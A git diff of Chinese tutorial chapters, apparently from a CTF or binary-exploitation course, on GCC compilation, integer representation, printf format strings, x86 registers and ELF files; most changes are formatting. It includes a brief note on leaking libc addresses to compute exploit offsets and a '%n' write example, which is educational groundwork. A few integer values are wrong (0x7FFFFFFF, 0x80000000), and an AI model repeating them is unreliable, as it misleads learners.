- [Exploiting the jemalloc Memory Allocator: Owning Firefox's Heap](https://media.blackhat.com/bh-us-12/Briefings/Argyoudis/BH_US_12_Argyroudis_Exploiting_the_%20jemalloc_Memory_%20Allocator_WP.pdf)
|
||||
|
@ -6,8 +6,8 @@
|
||||
- [格式化输出函数](#格式化输出函数)
|
||||
- [关于 C++](#关于-c++)
|
||||
|
||||
|
||||
## 从源代码到可执行文件
|
||||
|
||||
我们以经典著作《The C Programming Language》中的第一个程序 “Hello World” 为例,讲解 Linux 下 GCC 的编译过程。
|
||||
|
||||
```c
|
||||
@ -26,13 +26,15 @@ hello world
|
||||
|
||||
以上过程可分为4个步骤:预处理(Preprocessing)、编译(Compilation)、汇编(Assembly)和链接(Linking)。
|
||||
|
||||
![](../pic/1.5.1_compile.png)
|
||||
![img](../pic/1.5.1_compile.png)
|
||||
|
||||
### 预编译
|
||||
|
||||
#### 预编译
|
||||
```text
|
||||
$gcc -E hello.c -o hello.i
|
||||
```
|
||||
gcc -E hello.c -o hello.i
|
||||
```
|
||||
|
||||
```c
|
||||
# 1 "hello.c"
|
||||
# 1 "<built-in>"
|
||||
# 1 "<command-line>"
|
||||
@ -45,6 +47,7 @@ main() {
|
||||
```
|
||||
|
||||
预编译过程主要处理源代码中以 “#” 开始的预编译指令:
|
||||
|
||||
- 将所有的 “#define” 删除,并且展开所有的宏定义。
|
||||
- 处理所有条件预编译指令,如 “#if”、“#ifdef”、“#elif”、“#else”、“#endif”。
|
||||
- 处理 “#include” 预编译指令,将被包含的文件插入到该预编译指令的位置。注意,该过程递归执行。
|
||||
@ -52,11 +55,13 @@ main() {
|
||||
- 添加行号和文件名标号。
|
||||
- 保留所有的 #pragma 编译器指令。
|
||||
|
||||
#### 编译
|
||||
### 编译
|
||||
|
||||
```text
|
||||
$gcc -S hello.c -o hello.s
|
||||
```
|
||||
gcc -S hello.c -o hello.s
|
||||
```
|
||||
|
||||
```text
|
||||
.file "hello.c"
|
||||
.section .rodata
|
||||
.LC0:
|
||||
@ -87,13 +92,15 @@ main:
|
||||
|
||||
编译过程就是把预处理完的文件进行一系列词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件。
|
||||
|
||||
#### 汇编
|
||||
### 汇编
|
||||
|
||||
```text
|
||||
$gcc -c hello.s -o hello.o
|
||||
$ gcc -c hello.s -o hello.o
|
||||
或者
|
||||
$gcc -c hello.c -o hello.o
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ objdump -sd hello.o
|
||||
|
||||
hello.o: file format elf64-x86-64
|
||||
@ -126,11 +133,13 @@ Disassembly of section .text:
|
||||
|
||||
汇编器将汇编代码转变成机器可以执行的指令。
|
||||
|
||||
#### 链接
|
||||
```
|
||||
$ gcc hello.o -o hello
|
||||
```
|
||||
### 链接
|
||||
|
||||
```text
|
||||
gcc hello.o -o hello
|
||||
```
|
||||
|
||||
```text
|
||||
$ objdump -d -j .text hello
|
||||
......
|
||||
000000000000064a <main>:
|
||||
@ -149,8 +158,10 @@ $ objdump -d -j .text hello
|
||||
|
||||
目标文件需要链接一大堆文件才能得到最终的可执行文件(上面只展示了链接后的 main 函数,可以和 hello.o 中的 main 函数作对比)。链接过程主要包括地址和空间分配(Address and Storage Allocation)、符号决议(Symbol Resolution)和重定向(Relocation)等。
|
||||
|
||||
#### gcc 技巧
|
||||
### gcc 技巧
|
||||
|
||||
通常在编译后只会生成一个可执行文件,而中间过程生成的 `.i`、`.s`、`.o` 文件都不会被保存。我们可以使用参数 `-save-temps` 永久保存这些临时的中间文件。
|
||||
|
||||
```text
|
||||
$ gcc -save-temps hello.c
|
||||
$ ls
|
||||
@ -158,32 +169,38 @@ a.out hello.c hello.i hello.o hello.s
|
||||
```
|
||||
|
||||
这里要注意的是,gcc 默认使用动态链接,所以这里生成的 a.out 实际上是共享目标文件。
|
||||
|
||||
```text
|
||||
$ file a.out
|
||||
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=533aa4ca46d513b1276d14657ec41298cafd98b1, not stripped
|
||||
```
|
||||
|
||||
使用参数 `--verbose` 可以输出 gcc 详细的工作流程。
|
||||
|
||||
```text
|
||||
gcc hello.c -static --verbose
|
||||
```
|
||||
$ gcc hello.c -static --verbose
|
||||
```
|
||||
|
||||
东西很多,我们主要关注下面几条信息:
|
||||
```
|
||||
/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/cc1 -quiet -v hello.c -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -o /tmp/ccj1jUMo.s
|
||||
|
||||
```text
|
||||
$ /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/cc1 -quiet -v hello.c -quiet -dumpbase hello.c -mtune=generic -march=x86-64 -auxbase hello -version -o /tmp/ccj1jUMo.s
|
||||
|
||||
as -v --64 -o /tmp/ccAmXrfa.o /tmp/ccj1jUMo.s
|
||||
|
||||
/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/collect2 -plugin /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/liblto_plugin.so -plugin-opt=/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/lto-wrapper -plugin-opt=-fresolution=/tmp/cc1l5oJV.res -plugin-opt=-pass-through=-lgcc -plugin-opt=-pass-through=-lgcc_eh -plugin-opt=-pass-through=-lc --build-id --hash-style=gnu -m elf_x86_64 -static /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crt1.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crti.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtbeginT.o -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0 -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib -L/lib/../lib -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../.. /tmp/ccAmXrfa.o --start-group -lgcc -lgcc_eh -lc --end-group /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/crtend.o /usr/lib/gcc/x86_64-pc-linux-gnu/7.2.0/../../../../lib/crtn.o
|
||||
```
|
||||
|
||||
三条指令分别是 `cc1`、`as` 和 `collect2`,cc1 是 gcc 的编译器,将 `.c` 文件编译为 `.s` 文件,as 是汇编器命令,将 `.s` 文件汇编成 `.o` 文件,collect2 是链接器命令,它是对命令 ld 的封装。静态链接时,gcc 将 C 语言运行时库的 5 个重要目标文件 `crt1.o`、`crti.o`、`crtbeginT.o`、`crtend.o`、`crtn.o` 和 `-lgcc`、`-lgcc_eh`、`-lc` 表示的 3 个静态库链接到可执行文件中。
|
||||
|
||||
更多的内容我们会在 1.5.3 中专门对 ELF 文件进行讲解。
|
||||
|
||||
|
||||
## C 语言标准库
|
||||
|
||||
C 运行库(CRT)是一套庞大的代码库,以支撑程序能够正常地运行。其中 C 语言标准库占据了最主要地位。
|
||||
|
||||
常用的标准库文件头:
|
||||
|
||||
- 标准输入输出(stdio.h)
|
||||
- 字符操作(ctype.h)
|
||||
- 字符串操作(string.h)
|
||||
@ -199,13 +216,15 @@ glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。g
|
||||
|
||||
在漏洞利用的过程中,通常我们通过计算目标函数地址相对于已知函数地址在同一个 libc 中的偏移,来获得目标函数的虚拟地址,这时我们需要让本地的 libc 版本和远程的 libc 版本相同,可以先泄露几个函数的地址,然后在 [libcdb.com](http://libcdb.com/) 中进行搜索来得到。
|
||||
|
||||
|
||||
## 整数表示
|
||||
|
||||
默认情况下,C 语言中的数字是有符号数,下面我们声明一个有符号整数和无符号整数:
|
||||
|
||||
```c
|
||||
int var1 = 0;
|
||||
unsigned int var2 = 0;
|
||||
```
|
||||
|
||||
- 有符号整数
|
||||
- 可以表示为正数或负数
|
||||
- `int` 的范围:`-2,147,483,648 ~ 2,147,483,647`
|
||||
@ -214,6 +233,7 @@ unsigned int var2 = 0;
|
||||
- `unsigned int` 的范围:`0 ~ 4,294,967,295`
|
||||
|
||||
`signed` 或者 `unsigned` 取决于整数类型是否可以携带标志 `+/-`:
|
||||
|
||||
- Signed
|
||||
- int
|
||||
- signed int
|
||||
@ -224,6 +244,7 @@ unsigned int var2 = 0;
|
||||
- unsigned long
|
||||
|
||||
在 `signed int` 中,二进制最高位被称作符号位,符号位被设置为 `1` 时,表示值为负,当设置为 `0` 时,值为非负:
|
||||
|
||||
- 0x7FFFFFFF = 2147493647
|
||||
- 01111111111111111111111111111111
|
||||
- 0x80000000 = -2147483647
|
||||
@ -232,6 +253,7 @@ unsigned int var2 = 0;
|
||||
- 11111111111111111111111111111111
|
||||
|
||||
二进制补码以一种适合于二进制加法器的方式来表示负数,当一个二进制补码形式表示的负数和与它的绝对值相等的正数相加时,结果为 0。首先以二进制方式写出正数,然后对所有位取反,最后加 1 就可以得到该数的二进制补码:
|
||||
|
||||
```text
|
||||
eg: 0x00123456
|
||||
= 1193046
|
||||
@ -242,6 +264,7 @@ eg: 0x00123456
|
||||
```
|
||||
|
||||
编译器需要根据变量类型信息编译成相应的指令:
|
||||
|
||||
- 有符号指令
|
||||
- IDIV:带符号除法指令
|
||||
- IMUL:带符号乘法指令
|
||||
@ -274,30 +297,32 @@ long | -2 147 483 648 | 2 147 483 647 | 32 bits
|
||||
long long | -9 223 372 036 854 775 808 | 9 223 372 036 854 775 807 | 64 bits
|
||||
|
||||
固定大小的数据类型:
|
||||
|
||||
- `int [# of bits]_t`
|
||||
- int8\_t, int16\_t, int32_t
|
||||
- int8\_t, int16\_t, int32_t
|
||||
- `uint[# of bits]_t`
|
||||
- uint8\_t, uint16\_t, uint32_t
|
||||
|
||||
- 有符号整数
|
||||
- ![](../pic/1.5.1_signed_integer.png)
|
||||
- ![img](../pic/1.5.1_signed_integer.png)
|
||||
- 无符号整数
|
||||
- ![](../pic/1.5.1_unsigned_integer.png)
|
||||
- ![img](../pic/1.5.1_unsigned_integer.png)
|
||||
|
||||
更多信息在 `stdint.h` 和 `limits.h` 中:
|
||||
|
||||
```text
|
||||
$ man stdint.h
|
||||
$ cat /usr/include/stdint.h
|
||||
$ man limits.h
|
||||
$ cat /usr/include/limits.h
|
||||
man stdint.h
|
||||
cat /usr/include/stdint.h
|
||||
man limits.h
|
||||
cat /usr/include/limits.h
|
||||
```
|
||||
|
||||
了解整数的符号和大小是很有用的,在后面的相关章节中我们会介绍整数溢出的内容。
|
||||
|
||||
|
||||
## 格式化输出函数
|
||||
#### 格式化输出函数
|
||||
|
||||
C 标准中定义了下面的格式化输出函数(参考 `man 3 printf`):
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -315,6 +340,7 @@ int vdprintf(int fd, const char *format, va_list ap);
|
||||
int vsprintf(char *str, const char *format, va_list ap);
|
||||
int vsnprintf(char *str, size_t size, const char *format, va_list ap);
|
||||
```
|
||||
|
||||
- `fprintf()` 按照格式字符串的内容将输出写入流中。三个参数为流、格式字符串和变参列表。
|
||||
- `printf()` 等同于 `fprintf()`,但是它假定输出流为 `stdout`。
|
||||
- `sprintf()` 等同于 `fprintf()`,但是输出不是写入流而是写入数组。在写入的字符串末尾必须添加一个空字符。
|
||||
@ -322,47 +348,49 @@ int vsnprintf(char *str, size_t size, const char *format, va_list ap);
|
||||
- `dprintf()` 等同于 `fprintf()`,但是它输出不是流而是一个文件描述符 `fd`。
|
||||
- `vfprintf()`、`vprintf()`、`vsprintf()`、`vsnprintf()`、`vdprintf()` 分别与上面的函数对应,只是它们将变参列表换成了 `va_list` 类型的参数。
|
||||
|
||||
#### 格式字符串
|
||||
### 格式字符串
|
||||
|
||||
格式字符串是由普通字符(ordinary character)(包括 `%`)和转换规则(conversion specification)构成的字符序列。普通字符被原封不动地复制到输出流中。转换规则根据与实参对应的转换指示符对其进行转换,然后将结果写入输出流中。
|
||||
|
||||
一个转换规则有可选部分和必需部分组成:
|
||||
|
||||
```text
|
||||
%[ 参数 ][ 标志 ][ 宽度 ][ .精度 ][ 长度 ] 转换指示符
|
||||
```
|
||||
|
||||
- (必需)转换指示符
|
||||
|
||||
字符 | 描述
|
||||
--- | ---
|
||||
`d`, `i` | 有符号十进制数值 `int`。'`%d`' 与 '`%i`' 对于输出是同义;但对于 `scanf()` 输入二者不同,其中 `%i` 在输入值有前缀 `0x` 或 `0` 时,分别表示 16 进制或 8 进制的值。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
|
||||
`u` | 十进制 `unsigned int`。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
|
||||
`f`, `F` | `double` 型输出 10 进制定点表示。'`f`' 与 '`F`' 差异是表示无穷与 NaN 时,'`f`' 输出 '`inf`', '`infinity`' 与 '`nan`';'`F`' 输出 '`INF`', '`INFINITY`' 与 '`NAN`'。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。小数点左侧至少一位数字。
|
||||
`e`, `E` | `double` 值,输出形式为 10 进制的([`-`]d.ddd `e`[`+`/`-`]ddd). `E` 版本使用的指数符号为 `E`(而不是`e`)。指数部分至少包含 2 位数字,如果值为 0,则指数部分为 00。Windows 系统,指数部分至少为 3 位数字,例如 1.5e002,也可用 Microsoft 版的运行时函数 `_set_output_format` 修改。小数点前存在 1 位数字。小数点后的数字位数等于精度。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。
|
||||
`g`, `G` | `double` 型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,精度] 内,输出为定点形式;否则输出为指数浮点形式。'`g`' 使用小写字母,'`G`' 使用大写字母。小数点右侧的尾数 0 不被显示;显示小数点仅当输出的小数部分不为 0。
|
||||
`x`, `X` | 16 进制 `unsigned int`。'`x`' 使用小写字母;'`X`' 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
|
||||
`o` | 8 进制 `unsigned int`。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
|
||||
`s` | 如果没有用 `l` 标志,输出 `null` 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 `l` 标志,则对应函数参数指向 `wchar_t` 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 `wcrtomb` 函数。
|
||||
`c` | 如果没有用 `l` 标志,把 `int` 参数转为 `unsigned char` 型输出;如果用了 `l` 标志,把 `wint_t` 参数转为包含两个元素的 `wchart_t` 数组,其中第一个元素包含要输出的字符,第二个元素为 `null` 宽字符。
|
||||
`p` | `void *` 型,输出对应变量的值。`printf("%p", a)` 用地址的格式打印变量 `a` 的值,`printf("%p", &a)` 打印变量 `a` 所在的地址。
|
||||
`a`, `A` | `double` 型的 16 进制表示,"[−]0xh.hhhh p±d"。其中指数部分为 10 进制表示的形式。例如:1025.010 输出为 0x1.004000p+10。'`a`' 使用小写字母,'`A`' 使用大写字母。
|
||||
`n` | 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
|
||||
`%` | '`%`' 字面值,不接受任何除了 `参数` 以外的部分。
|
||||
| 字符 | 描述 |
|
||||
| --- | --- |
|
||||
| `d`, `i` | 有符号十进制数值 `int`。'`%d`' 与 '`%i`' 对于输出是同义;但对于 `scanf()` 输入二者不同,其中 `%i` 在输入值有前缀 `0x` 或 `0` 时,分别表示 16 进制或 8 进制的值。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
|
||||
| `u` | 十进制 `unsigned int`。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
|
||||
| `f`, `F` | `double` 型输出 10 进制定点表示。'`f`' 与 '`F`' 差异是表示无穷与 NaN 时,'`f`' 输出 '`inf`', '`infinity`' 与 '`nan`';'`F`' 输出 '`INF`', '`INFINITY`' 与 '`NAN`'。小数点后的数字位数等于精度,最后一位数字四舍五入。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点。小数点左侧至少一位数字 |
|
||||
| `e`, `E` | `double` 值,输出形式为 10 进制的([`-`]d.ddd `e`[`+`/`-`]ddd). `E` 版本使用的指数符号为 `E`(而不是`e`)。指数部分至少包含 2 位数字,如果值为 0,则指数部分为 00。Windows 系统,指数部分至少为 3 位数字,例如 1.5e002,也可用 Microsoft 版的运行时函数 `_set_output_format` 修改。小数点前存在 1 位数字。小数点后的数字位数等于精度。精度默认为 6。如果精度为 0 且没有 # 标记,则不出现小数点 |
|
||||
| `g`, `G` | `double` 型数值,精度定义为全部有效数字位数。当指数部分在闭区间 [-4,精度] 内,输出为定点形式;否则输出为指数浮点形式。'`g`' 使用小写字母,'`G`' 使用大写字母。小数点右侧的尾数 0 不被显示;显示小数点仅当输出的小数部分不为 0 |
|
||||
| `x`, `X` | 16 进制 `unsigned int`。'`x`' 使用小写字母;'`X`' 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
|
||||
| `o` | 8 进制 `unsigned int`。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空 |
|
||||
| `s` | 如果没有用 `l` 标志,输出 `null` 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 `l` 标志,则对应函数参数指向 `wchar_t` 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 `wcrtomb` 函数 |
|
||||
| `c` | 如果没有用 `l` 标志,把 `int` 参数转为 `unsigned char` 型输出;如果用了 `l` 标志,把 `wint_t` 参数转为包含两个元素的 `wchart_t` 数组,其中第一个元素包含要输出的字符,第二个元素为 `null` 宽字符 |
|
||||
| `p` | `void *` 型,输出对应变量的值。`printf("%p", a)` 用地址的格式打印变量 `a` 的值,`printf("%p", &a)` 打印变量 `a` 所在的地址 |
|
||||
| `a`, `A` | `double` 型的 16 进制表示,"[−]0xh.hhhh p±d"。其中指数部分为 10 进制表示的形式。例如:1025.010 输出为 0x1.004000p+10。'`a`' 使用小写字母,'`A`' 使用大写字母 |
|
||||
| `n` | 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量 |
|
||||
| `%` | '`%`' 字面值,不接受任何除了 `参数` 以外的部分 |
|
||||
|
||||
- (可选)参数
|
||||
|
||||
字符 | 描述
|
||||
--- | ---
|
||||
`n$` | `n` 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 `参数`,则其他所有占位符必须也使用 `参数`。例:`printf("%2$d %2$#x; %1$d %1$#x",16,17)` 产生 "`17 0x11; 16 0x10`"
|
||||
| 字符 | 描述 |
|
||||
| --- | --- |
|
||||
| `n$` | `n` 是用这个格式说明符显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。如果任意一个占位符使用了 `参数`,则其他所有占位符必须也使用 `参数`。例:`printf("%2$d %2$#x; %1$d %1$#x",16,17)` 产生 "`17 0x11; 16 0x10`" |
|
||||
|
||||
- (可选)标志
|
||||
|
||||
字符 | 描述
|
||||
--- | ---
|
||||
`+` | 总是表示有符号数值的 '`+`' 或 '`-`' 号,缺省情况是忽略正数的符号。仅适用于数值类型。
|
||||
*空格* | 使得有符号数的输出如果没有正负号或者输出 0 个字符,则前缀 1 个空格。如果空格与 '`+`' 同时出现,则空格说明符被忽略。
|
||||
`-` | 左对齐。缺省情况是右对齐。
|
||||
`#` | 对于 '`g`' 与 '`G`',不删除尾部 0 以表示精度。对于 '`f`', '`F`', '`e`', '`E`', '`g`', '`G`', 总是输出小数点。对于 '`o`', '`x`', '`X`', 在非 0 数值前分别输出前缀 `0`, `0x` 和 `0X`表示数制。
|
||||
`0` | 如果 `宽度` 选项前缀为 `0`,则在左侧用 `0` 填充直至达到宽度要求。例如 `printf("%2d", 3)` 输出 "`3`",而 `printf("%02d", 3)` 输出 "`03`"。如果 `0` 与 `-` 均出现,则 `0` 被忽略,即左对齐依然用空格填充。
|
||||
| 字符 | 描述 |
|
||||
| --- | --- |
|
||||
| `+` | 总是表示有符号数值的 '`+`' 或 '`-`' 号,缺省情况是忽略正数的符号。仅适用于数值类型 |
|
||||
| *空格* | 使得有符号数的输出如果没有正负号或者输出 0 个字符,则前缀 1 个空格。如果空格与 '`+`' 同时出现,则空格说明符被忽略 |
|
||||
| `-` | 左对齐。缺省情况是右对齐 |
|
||||
| `#` | 对于 '`g`' 与 '`G`',不删除尾部 0 以表示精度。对于 '`f`', '`F`', '`e`', '`E`', '`g`', '`G`', 总是输出小数点。对于 '`o`', '`x`', '`X`', 在非 0 数值前分别输出前缀 `0`, `0x` 和 `0X`表示数制 |
|
||||
| `0` | 如果 `宽度` 选项前缀为 `0`,则在左侧用 `0` 填充直至达到宽度要求。例如 `printf("%2d", 3)` 输出 "`3`",而 `printf("%02d", 3)` 输出 "`03`"。如果 `0` 与 `-` 均出现,则 `0` 被忽略,即左对齐依然用空格填充 |
|
||||
|
||||
- (可选)宽度
|
||||
|
||||
@ -374,18 +402,19 @@ int vsnprintf(char *str, size_t size, const char *format, va_list ap);
|
||||
|
||||
- (可选)长度
|
||||
|
||||
字符 | 描述
|
||||
--- | ---
|
||||
`hh` | 对于整数类型,`printf` 期待一个从 `char` 提升的 `int` 整型参数。
|
||||
`h` | 对于整数类型,`printf` 期待一个从 `short` 提升的 `int` 整型参数。
|
||||
`l` | 对于整数类型,`printf` 期待一个 `long` 整型参数。对于浮点类型,`printf` 期待一个 `double` 整型参数。对于字符串 `s` 类型,`printf` 期待一个 `wchar_t` 指针参数。对于字符 `c` 类型,`printf` 期待一个 `wint_t` 型的参数。
|
||||
`ll` | 对于整数类型,`printf` 期待一个 `long long` 整型参数。Microsoft 也可以使用 `I64`。
|
||||
`L` | 对于浮点类型,`printf` 期待一个 `long double` 整型参数。
|
||||
`z` | 对于整数类型,`printf` 期待一个 `size_t` 整型参数。
|
||||
`j` | 对于整数类型,`printf` 期待一个 `intmax_t` 整型参数。
|
||||
`t` | 对于整数类型,`printf` 期待一个 `ptrdiff_t` 整型参数。
|
||||
| 字符 | 描述 |
|
||||
| --- | --- |
|
||||
| `hh` | 对于整数类型,`printf` 期待一个从 `char` 提升的 `int` 整型参数 |
|
||||
| `h` | 对于整数类型,`printf` 期待一个从 `short` 提升的 `int` 整型参数 |
|
||||
| `l` | 对于整数类型,`printf` 期待一个 `long` 整型参数。对于浮点类型,`printf` 期待一个 `double` 整型参数。对于字符串 `s` 类型,`printf` 期待一个 `wchar_t` 指针参数。对于字符 `c` 类型,`printf` 期待一个 `wint_t` 型的参数 |
|
||||
| `ll` | 对于整数类型,`printf` 期待一个 `long long` 整型参数。Microsoft 也可以使用 `I64` |
|
||||
| `L` | 对于浮点类型,`printf` 期待一个 `long double` 整型参数 |
|
||||
| `z` | 对于整数类型,`printf` 期待一个 `size_t` 整型参数 |
|
||||
| `j` | 对于整数类型,`printf` 期待一个 `intmax_t` 整型参数 |
|
||||
| `t` | 对于整数类型,`printf` 期待一个 `ptrdiff_t` 整型参数 |
|
||||
|
||||
### 例子
|
||||
|
||||
#### 例子
|
||||
```c
|
||||
printf("Hello %%"); // "Hello %"
|
||||
printf("Hello World!"); // "Hello World!"
|
||||
@ -405,5 +434,4 @@ printf("%42c%1$n", &n); // 首先输出41个空格,然后输出 n 的低
|
||||
|
||||
这里我们对格式化输出函数和格式字符串有了一个详细的认识,后面的章节中我们会介绍格式化字符串漏洞的内容。
|
||||
|
||||
|
||||
## 关于 C++
|
||||
|
@ -4,18 +4,18 @@
|
||||
- [x64](#x64)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## x86
|
||||
|
||||
IA-32 体系结构提供了 16 个基础寄存器,可分为下面几组:
|
||||
|
||||
- 通用寄存器:8 个通用寄存器用于存储操作数、运算结果和指针。
|
||||
- 段寄存器:包括 6 个段选择器。
|
||||
- EFLAGS 寄存器:用于显示程序执行的状态和允许对处理器进行有限的(应用层)控制。
|
||||
- EIP 寄存器:包含一个 32 位的指针,指向下一条被执行的指令
|
||||
|
||||
#### 通用寄存器
|
||||
### 通用寄存器
|
||||
|
||||
![](../pic/1.5.2_general.png)
|
||||
![img](../pic/1.5.2_general.png)
|
||||
|
||||
- EAX:操作数和结果数据的累加器。
|
||||
- EBX:指向 DS 段中数据的指针。
|
||||
@ -26,24 +26,26 @@ IA-32 体系结构提供了 16 个基础寄存器,可分为下面几组:
|
||||
- ESP:栈指针(位于 SS 段)。
|
||||
- EBP:指向栈上数据的指针(位于 SS 段)。
|
||||
|
||||
#### 段寄存器
|
||||
### 段寄存器
|
||||
|
||||
段寄存器用于保存 16 位的段选择器。段选择器是一种特殊的指针,用于确定内存中某个段的位置。
|
||||
|
||||
段寄存器的使用取决于操作系统的内存管理模型。
|
||||
|
||||
平坦内存模型:
|
||||
|
||||
![](../pic/1.5.2_flat.png)
|
||||
![img](../pic/1.5.2_flat.png)
|
||||
|
||||
分段内存模型:
|
||||
|
||||
![](../pic/1.5.2_segmented.png)
|
||||
![img](../pic/1.5.2_segmented.png)
|
||||
|
||||
#### EFLAGS
|
||||
### EFLAGS
|
||||
|
||||
![](../pic/1.5.2_eflags.png)
|
||||
![img](../pic/1.5.2_eflags.png)
|
||||
|
||||
标志位寄存器统称为 EFLAGS:
|
||||
|
||||
- 状态标志
|
||||
- CF(bit 0):进位标志,用于表示无符号数运算是否产生进位或者借位,如果产生了进位或借位则值为 1,否则值为 0。
|
||||
- PF(bit 2):奇偶标志,用于表示运算结果中 1 的个数的奇偶性,偶数个 1 时值为 1,奇数个 1 时值为 0。
|
||||
@ -64,11 +66,12 @@ IA-32 体系结构提供了 16 个基础寄存器,可分为下面几组:
|
||||
- VIP(bit 20):虚拟中断等待标志,置 1 表示有一个等待处理的中断,置 0 表示没有等待处理的中断。
|
||||
- ID(bit 21):识别标志,置 1 表示支持 CPUID 指令,置 0 表示不支持。
|
||||
|
||||
#### EIP 寄存器
|
||||
指令指针寄存器存储了当前代码段的偏移,指向了下一条要执行的指令,系统根据该寄存器从内存中取出指令,然后再译码执行。
|
||||
### EIP 寄存器
|
||||
|
||||
指令指针寄存器存储了当前代码段的偏移,指向了下一条要执行的指令,系统根据该寄存器从内存中取出指令,然后再译码执行。
|
||||
|
||||
## x64
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Intel® 64 and IA-32 Architectures Software Developer Manuals](https://software.intel.com/en-us/articles/intel-sdm)
|
||||
|
116
doc/1.5.3_elf.md
116
doc/1.5.3_elf.md
@ -5,9 +5,10 @@
|
||||
- [ELF 文件结构](#elf-文件结构)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 一个实例
|
||||
|
||||
在 *1.5.1节 C语言基础* 中我们看到了从源代码到可执行文件的全过程,现在我们来看一个更复杂的例子。
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
|
||||
@ -31,14 +32,17 @@ void main(void) {
|
||||
```
|
||||
|
||||
然后分别执行下列命令生成三个文件:
|
||||
|
||||
```text
|
||||
$ gcc -m32 -c elfDemo.c -o elfDemo.o
|
||||
gcc -m32 -c elfDemo.c -o elfDemo.o
|
||||
|
||||
$ gcc -m32 elfDemo.c -o elfDemo.out
|
||||
gcc -m32 elfDemo.c -o elfDemo.out
|
||||
|
||||
$ gcc -m32 -static elfDemo.c -o elfDemo_static.out
|
||||
gcc -m32 -static elfDemo.c -o elfDemo_static.out
|
||||
```
|
||||
|
||||
使用 ldd 命令打印所依赖的共享库:
|
||||
|
||||
```text
|
||||
$ ldd elfDemo.out
|
||||
linux-gate.so.1 (0xf77b1000)
|
||||
@ -47,9 +51,11 @@ $ ldd elfDemo.out
|
||||
$ ldd elfDemo_static.out
|
||||
not a dynamic executable
|
||||
```
|
||||
|
||||
elfDemo_static.out 采用了静态链接的方式。
|
||||
|
||||
使用 file 命令查看相应的文件格式:
|
||||
|
||||
```text
|
||||
$ file elfDemo.o
|
||||
elfDemo.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
|
||||
@ -65,6 +71,7 @@ $ file -L /usr/lib32/libc.so.6
|
||||
```
|
||||
|
||||
于是我们得到了 Linux 可执行文件格式 ELF (Executable Linkable Format)文件的三种类型:
|
||||
|
||||
- 可重定位文件(Relocatable file)
|
||||
- 包含了代码和数据,可以和其他目标文件链接生成一个可执行文件或共享目标文件。
|
||||
- elfDemo.o
|
||||
@ -74,18 +81,20 @@ $ file -L /usr/lib32/libc.so.6
|
||||
- 共享目标文件(Shared Object File)
|
||||
- 包含了用于链接的代码和数据,分两种情况。一种是链接器将其与其他的可重定位文件和共享目标文件链接起来,生产新的目标文件。另一种是动态链接器将多个共享目标文件与可执行文件结合,作为进程映像的一部分。
|
||||
- elfDemo.out
|
||||
- libc-2.25.so
|
||||
- `libc-2.25.so`
|
||||
|
||||
此时他们的结构如图:
|
||||
|
||||
![](../pic/1.5.3_elfdemo.png)
|
||||
![img](../pic/1.5.3_elfdemo.png)
|
||||
|
||||
可以看到,在这个简化的 ELF 文件中,开头是一个“文件头”,之后分别是代码段、数据段和.bss段。程序源代码编译后,执行语句变成机器指令,保存在`.text`段;已初始化的全局变量和局部静态变量都保存在`.data`段;未初始化的全局变量和局部静态变量则放在`.bss`段。
|
||||
|
||||
